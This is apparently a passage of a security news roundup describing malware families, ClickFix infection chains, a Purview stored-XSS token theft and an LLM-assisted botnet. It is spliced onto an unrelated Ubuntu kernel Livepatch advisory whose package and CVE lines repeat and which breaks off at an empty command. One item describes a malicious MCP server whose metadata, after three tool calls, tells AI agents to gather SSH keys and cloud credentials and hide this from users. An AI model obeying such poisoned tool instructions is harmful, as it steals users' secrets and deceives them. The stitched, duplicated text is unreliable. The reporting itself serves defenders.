the operational workflow of its controller. The controller communicates with NVIDIA NIM using the z-ai/glm-5.2 model, becoming a part of a feedback loop that determines how its capabilities can be put to use on a given machine based on information about the infected environment. "The controller collects host and botnet telemetry, sends that context to NVIDIA NIM, parses selected model responses into structured actions, and queues those actions for operator approval," Joe Security said. "The system is not fully autonomous or self-modifying. The operator remains the final approval point for its higher-impact AI-generated actions. Once approved, however, those actions can reach local command execution, file writes, remote SSH, persistent state, and a compilation workflow." According to the cybersecurity company, the AI subsystem resides within a broader Tox-based botnet featuring encrypted peer-to-peer C2, host-management capabilities, scanner workers, self-propagation logic, and 17 network-attack launchers. Two stealers target credentialsAn information stealer called Phantom Stealer is designed to collect browser credentials, saved passwords, session cookies, cryptocurrency wallet files, and detailed system fingerprints. "Since its appearance, Phantom Stealer has been observed in multiple campaigns targeting users across different countries, frequently distributed through phishing lures, cracked software, and malicious links spread via platforms like Discord and Telegram," Splunk said. "Its modular design and relatively low barrier to entry have made it an attractive option for both novice and experienced threat actors, contributing to its growing adoption and making it a persistent and evolving threat in the infostealer landscape." A second stealer malware family that has emerged in the wild is Salat Stealer, which is written in Go and can perform system reconnaissance, conduct credential theft, and monitor victim activity through desktop streaming and audio/video capture. ClickFix chain drops new RATA previously undocumented remote access trojan (RAT) called CNCMachineRMS is being delivered via BabaDeda Loader. "Infection starts with a ClickFix lure that launches a legitimately signed IBM SPSS IDE executable, WinWrapIDE.exe, whose scripting engine is abused to load a malicious DLL," LevelBlue said. "Four decoy DLLs load through ordinary Windows import resolution, then the final stage smuggles shellcode into execution via EnumTimeFormatsEx, a benign date-formatting API." The Trojan gives an operator remote administration of the host, including an interactive shell, a file manager, screen capture functionality, a local account backdoor, seven persistence mechanisms, and twenty typed commands for pulling down and running further payloads. New modular RAT emergesSpeaking of RATs, Abyssos is another new malware family that's written in C++ and supports credential theft, file exfiltration, and remote access via VNC. The modular malware was first detected in June 2026. "Abyssos uses a custom TCP protocol for network communication," Zscaler said. "Abyssos supports a number of different network commands and downloads additional modules from the command-and-control (C2) server to enhance its capabilities." Disk encryption bypass remains unpatchedA zero-day boot-chain vulnerability in HP ThinPro 8 and 9 could allow physical attackers to bypass Trusted Platform Module (TPM) full-disk encryption and extract LUKS keys securing the device's root partition. The flaw stems from an incomplete measured-boot policy that omits the Linux kernel and initramfs (aka the initial RAM file system). "For defenders running ThinPro with disk encryption today: turn Secure Boot on and set a BIOS password," AmberWolf said. "Both slow an attacker down; neither closes the PCR gap. Beyond that, treat the encryption as no protection once the device is out of your control. Destroy the M.2 on disposal, and do not rely on ThinPro FDE for a lost or returned unit." The vulnerability remains unpatched. 1.99 million mobile attacks blockedData from Kaspersky shows that more than 1.99 million attacks were recorded and blocked against mobile devices in Q2 2026 using malware, adware, or unwanted mobile software. "The Trojan-Banker category was the most prevalent mobile malware threat with a 30.77% share of total detected applications," Kaspersky said. More than 304,000 malicious installation packages were discovered, including 93,574 packages related to mobile banking Trojans and 570 packages related to ransomware. Python stealer targets credentials and walletsCybersecurity researchers have discovered a new Python-based stealer malware called Vanta Stealer that combines extensive credential harvesting capabilities with layered obfuscation techniques that make it possible to collect valuable user data while complicating analysis efforts. "Vanta Stealer targets a broad range of applications and digital assets, including Chromium-based browsers, Discord, Telegram Desktop, Steam, Riot Games, Roblox, Minecraft, Mullvad VPN, cryptocurrency wallets, and locally stored sensitive documents," Point Wild said. "In addition to harvesting browser passwords, cookies, and stored payment information, the malware collects authentication tokens, gaming platform data, VPN configurations, cryptocurrency wallet files, screenshots, webcam captures, and documents containing wallet recovery phrases or private keys." Exactly how it's delivered is currently not known, although it could be through phishing emails, fake installers, game cheats, fake software updates, SEO poisoning, malvertising, and malicious code repositories. Two more credential stealers surfaceElsewhere, malicious LNK files disguised as PDF documents have been found to launch a multi-stage infection chain using cmd.exe, legitimate Windows utilities, AutoIt, and PowerShell to deploy DARTHVADER Stealer. Europe and the U.S. have been targeted by DestinyStealer, which exhibits clear code continuity from StormKitty Stealer. It collects browser data, cookies, passwords, cryptocurrency wallet extension storage, Outlook and VPN data, FileZilla credentials, Wi-Fi profiles, and desktop screenshots. Stealer scores hosts for sandbox signsAn information stealer called ScarfaceStealer has been observed propagating via an Electron-based application masquerading as AI-related tools. The malware performs a set of environment checks intended to evade sandbox environments and evaluates the host through 11 indicators and combines their results into a weighted suspicion score. If the score reaches 7 or higher, it enters a decoy loop that continuously displays random message boxes. Execution continues only if the score is below 7. "Unpacking the Electron application exposed a second-stage JavaScript-based loader that performs initial evasion checks before decrypting and executing the next stage," Joe Security said. "That third stage applies four additional decryption layers, maps an embedded PE in memory, and transfers execution to it. The recovered final stage revealed the core anti-sandbox logic: a scoring-based mechanism used to decide whether the ScarfaceStealer payload should continue execution." Fake scans push antivirus removalMalwarebytes is calling attention to a scam campaign that uses a set of 11 fake websites that claim to offer a way to check if antivirus tools are working as expected. The tools carry Microsoft branding and go by names like SysScan to lend them a veneer of legitimacy, only to instruct users to immediately uninstall antivirus programs installed on their machines to address compatibility issues. "Although the names vary, the sites work in essentially the same way: Run a convincing-looking but fake security scan, tell the victim their antivirus is causing problems, collect their information, and prepare them for a supposed refund call," the company said. ClickFix chain drops AmateraFake CAPTCHA checks that employ ClickFix lures and bogus software download campaigns are being used to deliver PavinLoader (aka RenPy Loader and RenEngine Loader), indicating the tool is being offered as a loader-as-a-service to other cybercriminals. "What happens next is much more consistent," Malwarebytes said. "PavinLoader uses legitimate Windows tools alongside malicious .NET files to run several stages of malware. It also uses EtherHiding, a technique that uses a blockchain to hide information about its infrastructure, to find the server from which it should retrieve additional malware." This ultimately leads to the deployment of Amatera Stealer and other malware. "In some cases, WiX Burn bundles downloaded another payload associated with PavinLoader. In others, we detected Hijack Loader," it added. "This gives the campaign operators the ability to deploy multiple payloads on a compromised machine." Per-app privacy controls testedMicrosoft has begun piloting new privacy controls that will let Windows 11 users choose which desktop applications can access their camera, microphone, and precise location. "Windows Insiders can now manage camera, microphone, and location permissions for individual desktop apps," Microsoft said. "Previously, access for traditional desktop applications was managed through a single device-wide setting. With this update, you can review and control access on an app-by-app basis, giving you greater visibility into which apps are requesting access to sensitive resources and more control over your privacy choices." Telegram-sold RAT used by TA4922Proofpoint has disclosed details of a new RAT and C2 framework called PackClient that's sold on Telegram and is being used by at least one threat actor, Chinese-speaking TA4922, as part of its continued efforts to expand its malware arsenal. The first campaign, observed in late May 2026, used a tax-themed lure and impersonated the Shandong Provincial Tax Bureau to trigger a sense of urgency. Two other campaigns in mid- to late-July 2026 have been found to impersonate Indian tax authorities and used penalty-themed lures to deliver the malware. "PackClient consists of a first-stage loader executable, a second-stage loader ('PackClientLauncher') DLL module, a core module ('PackClientCore'), and several optional plugins that can be downloaded upon operator command," Proopoint said. "The malware connects to two hard-coded C2 endpoints over raw TCP sockets to download and reflectively execute the core RAT DLL, receive commands, and download additional plugins or payloads." The commands allow the malware to configure C2 servers, run shell commands, start screen capture, launch a SOCKS proxy tunnel, record using a webcam, perform file operations, enumerate running processes, log keystrokes, and update the core module. No less than 11 plugins have been identified. They allow remote desktop screen sharing, RDP-style virtual desktop, file management, system administration, interactive remote shell, and webcam streaming. Cloud database powers C2A modular post-exploitation framework called Miraak has been found exposed in attacker-controlled open directories ("144.172.96[.]13"). "Miraak is designed to provide operators with persistent control of compromised systems while supporting command execution, file transfer, process management, screenshot collection, and extensible post-exploitation activity," Blackpoint Cyber said. "A defining aspect of the framework is its use of cloud-hosted PostgreSQL and Timescale infrastructure for command-and-control. Rather than communicating through traditional web-based C2 endpoints, Miraak uses database connections to register infected systems, retrieve operator tasking, track jobs, and return results." The malware has not been attributed to any known threat actor or group. Stored XSS enabled account takeoverA security vulnerability in Microsoft Purview could be exploited by a single external Teams message, email, or Copilot prompt to carry stored malicious code into a Purview reviewer's authenticated browser and turn a routine compliance check into a path to token theft and account takeover. "A standard user, including a user in a completely different tenant with no permissions in yours, could send a Teams message, an email, or a Copilot prompt containing a malicious payload, wait for it to be flagged and have their JavaScript execute inside the authenticated purview.microsoft.com session of every compliance analyst who opened the case," Cymulate said. "In our proof of concept, that meant the reviewer's access and refresh tokens leaving the browser and reaching an attacker-controlled server, which constitutes full impersonation of a privileged compliance identity." Microsoft has since issued a service-side fix. Malicious MCP server targets secretsA supply chain attack campaign codenamed Deadbugz has been observed attempting to distribute a malicious Model Context Protocol (MCP) server through public GitHub pull requests. "The server calls itself productivity-suite and initially looks harmless: it offers text formatting and summarization," Pillar Security said. "After a connected client makes three tool calls, however, it changes the instructions it returns to the AI agent. The new metadata directs the agent to seek sensitive information, including SSH keys, AWS credentials, shell history, and Kubernetes configuration, and to conceal the activity from the user." The campaign also makes use of what's called runtime-gated MCP metadata poisoning, wherein the malicious instructions are built into the server, but remain withheld until the client has made three ordinary tool calls. Exploit timelines keep shrinkingMicrosoft is warning that the window for patching vulnerabilities is rapidly shrinking, as bad actors exploit newly disclosed flaws faster than organizations can patch them, driven by advances in AI and the rapid spread of exploit information. "Modern attack campaigns operate at internet scale," the company said. "Security research, public disclosures, proof-of-concept exploits, and threat intelligence circulate globally within hours. A vulnerability announced in the morning can become the focus of active scanning and exploitation efforts by the afternoon. Defenders remain responsible for protecting entire environments that may include thousands of servers, applications, databases, containers, and network assets. Attackers only need to identify a single viable path to exploitation." Microsoft has proposed a "control plane" that's centered on the network to reduce exploitability while remediation efforts are underway. "The objective is not to avoid patching," Microsoft added. "The objective is to create a meaningful layer of defense during the period when patching has not yet been completed." Hardware-attested AI evidence standardThe Linux Foundation has announced TRACE (short for Trust, Runtime Attestation and Compliance Evidence), a new open specification for hardware-attested runtime and compliance evidence for AI agents and confidential workloads. It's developed collaboratively by AMD, Intel, Microsoft, OPAQUE, and TII. "TRACE creates a standard, open evidence layer that enables reliable governance records for AI agents and other confidential workloads," the foundation said. "As organizations deploy increasingly autonomous AI agents and open-weight models, they need a consistent, trustworthy method to prove sensitive data is being handled according to policy. TRACE creates a standardized, hardware-enforced governance record that binds together the runtime environment, software, policies, data classifications and tool usage into a portable, cryptographically verifiable artifact that travels with the workload across clouds and confidential computing environments." 100+ exposed water systems targetedThe July cyber attacks aimed at the U.S. Water and Wastewater Systems (WWS) Sector targeted over 100 internet-exposed systems, the Cybersecurity and Infrastructure Security Agency (CISA) said. The attacks have been attributed to Iranian threat actors. The attacks leveraged programmable logic controllers (PLCs) connected directly to a cellular modem. "Directly connecting PLCs to the internet through cellular modems can create significant security risks," CISA added. "However, internet exposure reduction does not mean disabling necessary remote access; organizations should remove remote access when it is unnecessary and secure it when it is necessary." Ben Bernstein, Manager of Huntress' Cybersecurity Advisors Team, described the activity as opportunistic, automated scanning that targeted publicly accessible systems. "The fact that attackers are using AI tools to write exploit scripts for these devices is an interesting twist, but they are ultimately still just walking through a wide open front door," Bernstein said. Cloaked search results hide phishingA new tactic called Chameleon SEO Poisoning uses cloaked search engine results to deploy phishing payloads such as credential theft and session hijacking. "This allows them to remain invisible to standard security scanners and remain active longer," Fortra said. "By heavily utilizing SEO poisoning on Search Engine Result Pages (SERPs), attackers rank at the top for high-intent keywords like 'Bank Name Customer Portal' or 'Credit Card Login' on search engines like Google or Bing." The cloaking is designed to block direct visits to the malicious sites, while serving a pixel-perfect banking portal clone when the page is visited from a search engine. Fake Chrome extension enables remote controlA multi-stage attack has been observed delivering a Rust binary, which, in turn, drops a malicious Chrome extension and an AutoIt script, the latter of which deploys the StealC stealer. The extension masquerades as Google Translate. "Once installed, it behaves as a full data-theft and remote-control tool," VMRay Labs said. "It extracts browser history, bookmarks, the list of installed extensions, saved credentials, and cookies. Beyond theft, it gives the operator live control: a stream of the victim's Chrome windows, the ability to interact with sites through remote mouse clicks and keyboard input, a proxy setting, and the injection of malicious JavaScript into specific sites." What's more, the remote control extends to out-of-focus windows and the extension can conduct an adversary-in-the-middle (AitM) attack by replacing a legitimate login form with an iframe that loads from a phishing page while the address bar still shows the actual domain. SharePoint exploit chain under probingDefused Cyber has warned that threat actors are exploiting two Microsoft SharePoint flaws – CVE-2026-55040 (an authentication bypass flaw in the JWT token validation pipeline) and CVE-2026-63520 (an improper input validation in Microsoft Office SharePoint that allows code execution) – to obtain remote code execution against its honeypots. "The JWT bypass (55040) was exercised, followed by heavy admin enumeration and probing of the Business Data Catalog sink behind CVE-2026-63520," it said. "No code execution observed yet." 80% of AI tools lack IT oversightA new report from Reco has found that four in five AI tools operate without IT oversight, leaving security teams without a clear picture of which ones are active, who owns them, or what access they hold. An analysis of 500 published agent tools and MCP servers has identified 62% of them to be capable of both reading local data and reaching the internet, offering a direct data exfiltration pathway. "AI agents have moved from experimentation into daily business workflows, but our findings show only 20% of AI tools in enterprise ecosystems are currently governed by IT oversight," Reco said. "That leaves organizations exposed to a new class of operational risk. Agents embedded in applications can operate through existing permissions, OAuth grants and workflow access, creating toxic combinations that expose data and trigger actions beyond what any owner approved." The week’s weirdest detail may be how little separation remains between “advanced” and “ordinary.” Blockchain-backed command channels, AI-assisted botnets, live phishing operators, poisoned software, exposed industrial systems. Different levels of sophistication, often landing on the same old weaknesses. That is probably the part worth keeping. Attackers do not need every idea to be brilliant. They need one exposed box, one convincing page, one permissive tool, or one person who clicks at the wrong moment. The tooling keeps changing. The openings are often painfully familiar. That’s it for this ThreatsDay. Patch what matters, question what looks normal, and assume next week will find another cheap way through.

Software description aws – Linux kernel for Amazon Web Services (AWS) systems - (>= 4.15.0-1159, >= 5.15.0-1000, >= 6.8.0-1008, >= 7.0.0-1000, >= 4.4.0-1159) aws-6.8 – Linux kernel for Amazon Web Services (AWS) systems - (>= 6.8.0-1000) aws-hwe – Linux kernel for Amazon Web Services (AWS-HWE) systems - (>= 4.15.0-1126) azure – Linux kernel for Microsoft Azure Cloud systems - (>= 5.15.0-1000, >= 6.8.0-1007, >= 7.0.0-1000, >= 4.15.0-1114) azure-4.15 – Linux kernel for Microsoft Azure Cloud systems - (>= 4.15.0-1168) gcp – Linux kernel for Google Cloud Platform (GCP) systems - (>= 5.15.0-1000, >= 6.8.0-1007, >= 7.0.0-1000, >= 4.15.0-1118) gcp-4.15 – Linux kernel for Google Cloud Platform (GCP) systems - (>= 4.15.0-1154) gcp-6.8 – Linux kernel for Google Cloud Platform (GCP) systems - (>= 6.8.0-1000) generic-4.15 – Linux hardware enablement (HWE) kernel - (>= 4.15.0-214, >= 4.15.0-143) generic-4.4 – Linux kernel - (>= 4.4.0-243) generic-5.4 – Linux kernel - (>= 5.4.0-150, >= 5.4.0-26) aws – Linux kernel for Amazon Web Services (AWS) systems - (>= 4.15.0-1159, >= 5.15.0-1000, >= 6.8.0-1008, >= 7.0.0-1000, >= 4.4.0-1159) aws-6.8 – Linux kernel for Amazon Web Services (AWS) systems - (>= 6.8.0-1000) aws-hwe – Linux kernel for Amazon Web Services (AWS-HWE) systems - (>= 4.15.0-1126) azure – Linux kernel for Microsoft Azure Cloud systems - (>= 5.15.0-1000, >= 6.8.0-1007, >= 7.0.0-1000, >= 4.15.0-1114) azure-4.15 – Linux kernel for Microsoft Azure Cloud systems - (>= 4.15.0-1168) gcp – Linux kernel for Google Cloud Platform (GCP) systems - (>= 5.15.0-1000, >= 6.8.0-1007, >= 7.0.0-1000, >= 4.15.0-1118) gcp-4.15 – Linux kernel for Google Cloud Platform (GCP) systems - (>= 4.15.0-1154) gcp-6.8 – Linux kernel for Google Cloud Platform (GCP) systems - (>= 6.8.0-1000) generic-4.15 – Linux hardware enablement (HWE) kernel - (>= 4.15.0-214, >= 4.15.0-143) generic-4.4 – Linux kernel - (>= 4.4.0-243) generic-5.4 – Linux kernel - (>= 5.4.0-150, >= 5.4.0-26) gke – Linux kernel for Google Container Engine (GKE) systems - (>= 5.15.0-1000, >= 6.8.0-1003) hwe-6.8 – Linux hardware enablement (HWE) kernel - (>= 6.8.0-0) ibm – Linux kernel for IBM cloud systems - (>= 5.15.0-1000, >= 6.8.0-1005) ibm-6.8 – Linux kernel for IBM cloud systems - (>= 6.8.0-1000) linux – Linux kernel - (>= 5.15.0-71, >= 5.15.0-24, >= 6.8.0-1, >= 7.0.0-1) lowlatency-4.15 – Linux hardware enablement (HWE) kernel - (>= 4.15.0-214, >= 4.15.0-143) lowlatency-4.4 – Linux kernel - (>= 4.4.0-243) lowlatency-5.4 – Linux kernel - (>= 5.4.0-150, >= 5.4.0-26) oracle – Linux kernel for Oracle Cloud systems - (>= 4.15.0-1129, >= 6.8.0-1005) Details In the Linux kernel, the following vulnerability has been resolved: ksmbd: ipc: fix use-after-free in ipc_msg_send_request ipc_msg_send_request() waits for a generic netlink reply using an ipc_msg_table_entry on the stack. In the Linux kernel, the following vulnerability has been resolved: ksmbd: fix use-after-free of share_conf in compound request smb2_get_ksmbd_tcon() reuses work->tcon in compound requests without validating tcon->t_state. In the Linux kernel, the following vulnerability has been resolved: netfilter: nf_conntrack_h323: check for zero length in DecodeQ931() In DecodeQ931(), the UserUserIE code path reads a 16-bit length from the packet, then decrements it by 1 to skip the protocol discriminator byte before passing it to DecodeH323_UserInformation(). In the Linux kernel, the following vulnerability has been resolved: nfsd: fix heap overflow in NFSv4.0 LOCK replay cache The NFSv4.0 replay cache... In the Linux kernel, the following vulnerability has been resolved: ksmbd: ipc: fix use-after-free in ipc_msg_send_request ipc_msg_send_request() waits for a generic netlink reply using an ipc_msg_table_entry on the stack. In the Linux kernel, the following vulnerability has been resolved: ksmbd: fix use-after-free of share_conf in compound request smb2_get_ksmbd_tcon() reuses work->tcon in compound requests without validating tcon->t_state. In the Linux kernel, the following vulnerability has been resolved: netfilter: nf_conntrack_h323: check for zero length in DecodeQ931() In DecodeQ931(), the UserUserIE code path reads a 16-bit length from the packet, then decrements it by 1 to skip the protocol discriminator byte before passing it to DecodeH323_UserInformation(). In the Linux kernel, the following vulnerability has been resolved: nfsd: fix heap overflow in NFSv4.0 LOCK replay cache The NFSv4.0 replay cache uses a fixed 112-byte inline buffer (rp_ibuf. In the Linux kernel, the following vulnerability has been resolved: media: dvb-net: fix OOB access in ULE extension header tables The ule_mandatory_ext_handlers. It was discovered that the Linux kernel algif_aead module did not properly handle in-place cryptographic operations. This flaw is known as Copy Fail. A local attacker could use this to escalate privileges, or possibly escape a container.)(CVE-2026-31431) In the Linux kernel, the following vulnerability has been resolved: ksmbd: replace hardcoded hdr2_len with offsetof() in smb2_calc_max_out_buf_len() After this commit (e2b76ab8b5c9 'ksmbd: add support for read compound'), response buffer management was changed to use dynamic iov array. In the Linux kernel, the following vulnerability has been resolved: usbip: validate number_of_packets in usbip_pack_ret_submit() When a USB/IP client receives a RET_SUBMIT response, usbip_pack_ret_submit() unconditionally overwrites urb->number_of_packets from the network PDU. This value is subsequently used as the loop bound in usbip_recv_iso() and usbip_pad_iso() to iterate over urb->iso_frame_desc. In the Linux kernel, the following vulnerability has been resolved: rxrpc: reject undecryptable rxkad response tickets rxkad_decrypt_ticket() decrypts the RXKAD response ticket and then parses the buffer as plaintext without checking whether crypto_skcipher_decrypt() succeeded. In the Linux kernel, the following vulnerability has been resolved: batman-adv: hold claim backbone gateways by reference batadv_bla_add_claim() can replace claim->backbone_gw and drop the old gateway's last reference while readers still follow the pointer. In the Linux kernel, the following vulnerability has been resolved: batman-adv: reject oversized global TT response buffers batadv_tt_prepare_tvlv_global_data() builds the allocation length for a global TT response in 16-bit temporaries. In the Linux kernel, the following vulnerability has been resolved: ksmbd: fix out-of-bounds write in smb2_get_ea() EA alignment smb2_get_ea() applies 4-byte alignment padding via memset() after writing each EA entry. In the Linux kernel, the following vulnerability has been resolved: net/x25: Fix potential double free of skb When alloc_skb fails in x25_queue_rx_frame it calls kfree_skb(skb) at line 48 and returns 1 (error). In the Linux kernel, the following vulnerability has been resolved: ip6_tunnel: clear skb2->cb. In the Linux kernel, the following vulnerability has been resolved: ipv6: icmp: clear skb2->cb. In the Linux kernel, the following vulnerability has been resolved: ksmbd: fix signededness bug in smb_direct_prepare_negotiation() smb_direct_prepare_negotiation() casts an unsigned __u32 value from sp->max_recv_size and req->preferred_send_size to a signed int before computing min_t(int, ...). In the Linux kernel, the following vulnerability has been resolved: ipv6: ioam: fix heap buffer overflow in ioam6_fill_trace_data() On the receive path, ioam6_fill_trace_data() uses trace->nodelen to decide how much data to write for each node. In the Linux kernel, the following vulnerability has been resolved: libceph: define and enforce CEPH_MAX_KEY_LEN When decoding the key, verify that the key material would fit into a fixed-size buffer in process_auth_done() and generally has a sane length. In the Linux kernel, the following vulnerability has been resolved: net/ipv6: ioam6: prevent schema length wraparound in trace fill ioam6_fill_trace_data() stores the schema contribution to the trace length in a u8. In the Linux kernel, the following vulnerability has been resolved: libceph: prevent potential out-of-bounds reads in process_message_header() If the message frame is (maliciously) corrupted in a way that the length of the control segment ends up being less than the size of the message header or a different frame is made to look like a message frame, out-of-bounds reads may ensue in process_message_header(). Perform an explicit bounds check before decoding the message header.)(CVE-2026-43406). In the Linux kernel, the following vulnerability has been resolved: libceph: Fix potential out-of-bounds access in ceph_handle_auth_reply() This patch fixes an out-of-bounds access in ceph_handle_auth_reply() that can be triggered by a message of type CEPH_MSG_AUTH_REPLY. In the Linux kernel, the following vulnerability has been resolved: crypto: pcrypt - Fix handling of MAY_BACKLOG requests MAY_BACKLOG requests can return EBUSY. In the Linux kernel, the following vulnerability has been resolved: ipv6: rpl: reserve mac_len headroom when recompressed SRH grows ipv6_rpl_srh_rcv() decompresses an RFC 6554 Source Routing Header, swaps the next segment into ipv6_hdr->daddr, recompresses, then pulls the old header and pushes the new one plus the IPv6 header back. In the Linux kernel, the following vulnerability has been resolved: rxrpc: Fix re-decryption of RESPONSE packets If a RESPONSE packet gets a temporary failure during processing, it may end up in a partially decrypted state - and then get requeued for a retry. In the Linux kernel, the following vulnerability has been resolved: RDMA/rxe: Validate pad and ICRC before payload_size() in rxe_rcv rxe_rcv() currently checks only that the incoming packet is at least header_size(pkt) bytes long before payload_size() is used. In the Linux kernel, the following vulnerability has been resolved: libceph: Fix slab-out-of-bounds access in auth message processing If a (potentially corrupted) message of type CEPH_MSG_AUTH_REPLY contains a positive value in its result field, it is treated as an error code by ceph_handle_auth_reply() and returned to handle_auth_reply(). In the Linux kernel, the following vulnerability has been resolved: nvmet-tcp: fix race between ICReq handling and queue teardown nvmet_tcp_handle_icreq() updates queue->state after sending an Initialization Connection Response (ICResp), but it does so without serializing against target-side queue teardown. In the Linux kernel, the following vulnerability has been resolved: smb/client: fix out-of-bounds read in symlink_data() Since smb2_check_message() returns success without length validation for the symlink error response, in symlink_data() it is possible for iov->iov_len to be smaller than sizeof(struct smb2_err_rsp). In the Linux kernel, the following vulnerability has been resolved: smb: client: validate dacloffset before building DACL pointers parse_sec_desc(), build_sec_desc(), and the chown path in id_mode_to_cifs_acl() all add the server-supplied dacloffset to pntsd before proving a DACL header fits inside the returned security descriptor. On 32-bit builds a malicious server can return dacloffset near U32_MAX, wrap the derived DACL pointer below end_of_acl, and then slip past the later pointer-based bounds checks. In the Linux kernel, the following vulnerability has been resolved: procfs: fix missing RCU protection when reading real_parent in do_task_stat() When reading /proc/. In the Linux kernel, the following vulnerability has been resolved: io-wq: check that the predecessor is hashed in io_wq_remove_pending() io_wq_remove_pending() needs to fix up wq->hash_tail. In the Linux kernel, the following vulnerability has been resolved: nvmet: avoid recursive nvmet-wq flush in nvmet_ctrl_free nvmet_tcp_release_queue_work() runs on nvmet-wq and can drop the final controller reference through nvmet_cq_put(). In the Linux kernel, the following vulnerability has been resolved: net/sched: act_ct: Only release RCU read lock after ct_ft When looking up a flow table in act_ct in tcf_ct_flow_table_get(), rhashtable_lookup_fast() internally opens and closes an RCU read critical section before returning ct_ft. Tristan Madani discovered that Ubuntu Linux kernel 6.8, 6.17 and 7.0 contained a out-of-bounds (OOB) read when handling AppArmor notifications. A local attacker could use this to cause kernel memory corruption and, theoretically, influence processing of AppArmor policies.)(CVE-2026-47333) Checking update status To check your kernel type and Livepatch version, enter this command: The problem can be corrected in these Livepatch versions: